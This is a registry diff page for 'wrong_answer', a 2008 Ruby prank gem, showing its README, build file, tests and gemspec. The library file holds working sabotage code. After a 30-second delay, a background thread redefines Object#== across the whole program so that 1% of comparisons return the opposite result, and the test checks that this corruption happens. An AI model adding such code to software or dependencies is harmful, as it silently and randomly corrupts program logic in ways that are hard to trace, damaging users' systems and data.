wrong_answer 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- data.tar.gz.sig +0 -0
- data/History.txt +4 -0
- data/Manifest.txt +6 -0
- data/README.txt +72 -0
- data/Rakefile +18 -0
- data/lib/wrong_answer.rb +29 -0
- data/test/test_wrong_answer.rb +15 -0
- metadata +90 -0
- metadata.gz.sig +0 -0
data.tar.gz.sig
ADDED
Binary file
|
data/History.txt
ADDED
data/Manifest.txt
ADDED
data/README.txt
ADDED
@@ -0,0 +1,72 @@
|
|
1
|
+
= wrong_answer 0.1.0
|
2
|
+
|
3
|
+
* http://www.rubysideshow.com/
|
4
|
+
* http://rubysideshow.rubyforge.org/wrong_answer/
|
5
|
+
|
6
|
+
== DESCRIPTION:
|
7
|
+
|
8
|
+
30 seconds after requiring wrong_answer, 1% of your comparisons
|
9
|
+
will return false when it should have been true, or true when
|
10
|
+
it should have been false.
|
11
|
+
|
12
|
+
== FEATURES/PROBLEMS:
|
13
|
+
|
14
|
+
* Sleeps for 30 seconds, then wrecks havoc
|
15
|
+
|
16
|
+
== SYNOPSIS:
|
17
|
+
|
18
|
+
require 'rubygems'
|
19
|
+
require 'wrong_answer'
|
20
|
+
|
21
|
+
sleep 30
|
22
|
+
|
23
|
+
(1..1000).each do
|
24
|
+
puts "Wrong answer!" if true == false
|
25
|
+
end
|
26
|
+
|
27
|
+
# Wrong answer!
|
28
|
+
# Wrong answer!
|
29
|
+
# Wrong answer!
|
30
|
+
# Wrong answer!
|
31
|
+
# Wrong answer!
|
32
|
+
# Wrong answer!
|
33
|
+
# Wrong answer!
|
34
|
+
# Wrong answer!
|
35
|
+
# Wrong answer!
|
36
|
+
|
37
|
+
== REQUIREMENTS:
|
38
|
+
|
39
|
+
* an immature sense of humor
|
40
|
+
* a visit to rickroll.com
|
41
|
+
* a fondness for french fries
|
42
|
+
* wasabe
|
43
|
+
* gas money
|
44
|
+
|
45
|
+
== INSTALL:
|
46
|
+
|
47
|
+
* sudo gem install wrong_answer
|
48
|
+
|
49
|
+
== LICENSE:
|
50
|
+
|
51
|
+
(The MIT License)
|
52
|
+
|
53
|
+
Copyright (c) 2008 Mike Judge
|
54
|
+
|
55
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
56
|
+
a copy of this software and associated documentation files (the
|
57
|
+
'Software'), to deal in the Software without restriction, including
|
58
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
59
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
60
|
+
permit persons to whom the Software is furnished to do so, subject to
|
61
|
+
the following conditions:
|
62
|
+
|
63
|
+
The above copyright notice and this permission notice shall be
|
64
|
+
included in all copies or substantial portions of the Software.
|
65
|
+
|
66
|
+
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
|
67
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
68
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
|
69
|
+
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
|
70
|
+
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
|
71
|
+
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
|
72
|
+
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/Rakefile
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
# -*- ruby -*-
|
2
|
+
|
3
|
+
require 'rubygems'
|
4
|
+
require 'hoe'
|
5
|
+
require './lib/wrong_answer.rb'
|
6
|
+
|
7
|
+
Hoe.new('WrongAnswer', WrongAnswer::VERSION) do |p|
|
8
|
+
p.name = 'wrong_answer'
|
9
|
+
p.rubyforge_name = 'rubysideshow'
|
10
|
+
p.author = 'Mike Judge'
|
11
|
+
p.email = 'mikelovesrobots@gmail.com'
|
12
|
+
p.summary = 'A stupid prank, 30 seconds after boot occasionally returns false instead of true and vice versa.'
|
13
|
+
p.description = p.paragraphs_of('README.txt', 1..-7).join("\n\n")
|
14
|
+
p.url = p.paragraphs_of('README.txt', 0).first.split(/\n/)[1..-1]
|
15
|
+
p.changes = p.paragraphs_of('History.txt', 0..1).join("\n\n")
|
16
|
+
end
|
17
|
+
|
18
|
+
# vim: syntax=Ruby
|
data/lib/wrong_answer.rb
ADDED
@@ -0,0 +1,29 @@
|
|
1
|
+
class WrongAnswer
|
2
|
+
VERSION = '0.1.0'
|
3
|
+
end
|
4
|
+
|
5
|
+
Thread.new do
|
6
|
+
# Sleep like a dirty dog.
|
7
|
+
sleep 30
|
8
|
+
|
9
|
+
class Object
|
10
|
+
# Safely tucks the real equals away somewhere safe
|
11
|
+
alias aquals ==
|
12
|
+
private :aquals
|
13
|
+
|
14
|
+
# Redefines == to return the correct answer 99% of the time.
|
15
|
+
# The other 1%? Well, it'll return the opposite of what
|
16
|
+
# you expect.
|
17
|
+
def ==(*args)
|
18
|
+
unless rand(100) == 0
|
19
|
+
# Return the correct answer 99% of the time
|
20
|
+
aquals(*args)
|
21
|
+
else
|
22
|
+
# Burn!
|
23
|
+
! aquals(*args)
|
24
|
+
end
|
25
|
+
end
|
26
|
+
end
|
27
|
+
end
|
28
|
+
|
29
|
+
|
@@ -0,0 +1,15 @@
|
|
1
|
+
require 'test/unit'
|
2
|
+
require File.dirname(__FILE__) + '/../lib/wrong_answer'
|
3
|
+
|
4
|
+
class TestWrongAnswer < Test::Unit::TestCase
|
5
|
+
def setup
|
6
|
+
# no setup, sorry
|
7
|
+
end
|
8
|
+
|
9
|
+
def test_everything
|
10
|
+
assert(!(1..100_000).any? { |x| true == false })
|
11
|
+
sleep 30
|
12
|
+
assert((1..100_000).any? { |x| true == false })
|
13
|
+
end
|
14
|
+
end
|
15
|
+
|
metadata
ADDED
@@ -0,0 +1,90 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: wrong_answer
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0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H0oSfpJPNm2
|
26
|
+
EfGDvGwQ96W1ni1YfbRnP+cj3AOu03DfRWK52y1KYxIu4VcmZRKk8mCgJBJ3IVZf
|
27
|
+
7GQkJ7gOjgj55DBfgdvwNQ4yXw+ACUTHAFkqwT05jAVse0swCiY9ruY60wUx+RTl
|
28
|
+
SivrkNPaARhL9KM3t70UdaqAIVrMqJva19xhLussfyvLeMnybSw2zE11N+9V5EPn
|
29
|
+
h2CoJJZOXHdgmDGaqY23v663f2FahHIRWtyCABJiU3YaUyFsd7zEtfjlCfufMvcp
|
30
|
+
aHG2UbipyooL1m/rJWEPIllGmbk=
|
31
|
+
-----END CERTIFICATE-----
|
32
|
+
|
33
|
+
date: 2008-04-29 00:00:00 -07:00
|
34
|
+
default_executable:
|
35
|
+
dependencies:
|
36
|
+
- !ruby/object:Gem::Dependency
|
37
|
+
name: hoe
|
38
|
+
version_requirement:
|
39
|
+
version_requirements: !ruby/object:Gem::Requirement
|
40
|
+
requirements:
|
41
|
+
- - ">="
|
42
|
+
- !ruby/object:Gem::Version
|
43
|
+
version: 1.5.1
|
44
|
+
version:
|
45
|
+
description: "* http://www.rubysideshow.com/ * http://rubysideshow.rubyforge.org/wrong_answer/ == DESCRIPTION: 30 seconds after requiring wrong_answer, 1% of your comparisons will return false when it should have been true, or true when it should have been false. == FEATURES/PROBLEMS: * Sleeps for 30 seconds, then wrecks havoc == SYNOPSIS: require 'rubygems' require 'wrong_answer' sleep 30 (1..1000).each do puts \"Wrong answer!\" if true == false end # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! # Wrong answer! == REQUIREMENTS: * an immature sense of humor * a visit to rickroll.com * a fondness for french fries * wasabe * gas money == INSTALL: * sudo gem install wrong_answer"
|
46
|
+
email: mikelovesrobots@gmail.com
|
47
|
+
executables: []
|
48
|
+
|
49
|
+
extensions: []
|
50
|
+
|
51
|
+
extra_rdoc_files:
|
52
|
+
- History.txt
|
53
|
+
- Manifest.txt
|
54
|
+
- README.txt
|
55
|
+
files:
|
56
|
+
- History.txt
|
57
|
+
- Manifest.txt
|
58
|
+
- README.txt
|
59
|
+
- Rakefile
|
60
|
+
- lib/wrong_answer.rb
|
61
|
+
- test/test_wrong_answer.rb
|
62
|
+
has_rdoc: true
|
63
|
+
homepage:
|
64
|
+
post_install_message:
|
65
|
+
rdoc_options:
|
66
|
+
- --main
|
67
|
+
- README.txt
|
68
|
+
require_paths:
|
69
|
+
- lib
|
70
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
71
|
+
requirements:
|
72
|
+
- - ">="
|
73
|
+
- !ruby/object:Gem::Version
|
74
|
+
version: "0"
|
75
|
+
version:
|
76
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
77
|
+
requirements:
|
78
|
+
- - ">="
|
79
|
+
- !ruby/object:Gem::Version
|
80
|
+
version: "0"
|
81
|
+
version:
|
82
|
+
requirements: []
|
83
|
+
|
84
|
+
rubyforge_project: rubysideshow
|
85
|
+
rubygems_version: 1.1.1
|
86
|
+
signing_key:
|
87
|
+
specification_version: 2
|
88
|
+
summary: A stupid prank, 30 seconds after boot occasionally returns false instead of true and vice versa.
|
89
|
+
test_files:
|
90
|
+
- test/test_wrong_answer.rb
|
metadata.gz.sig
ADDED
Binary file
|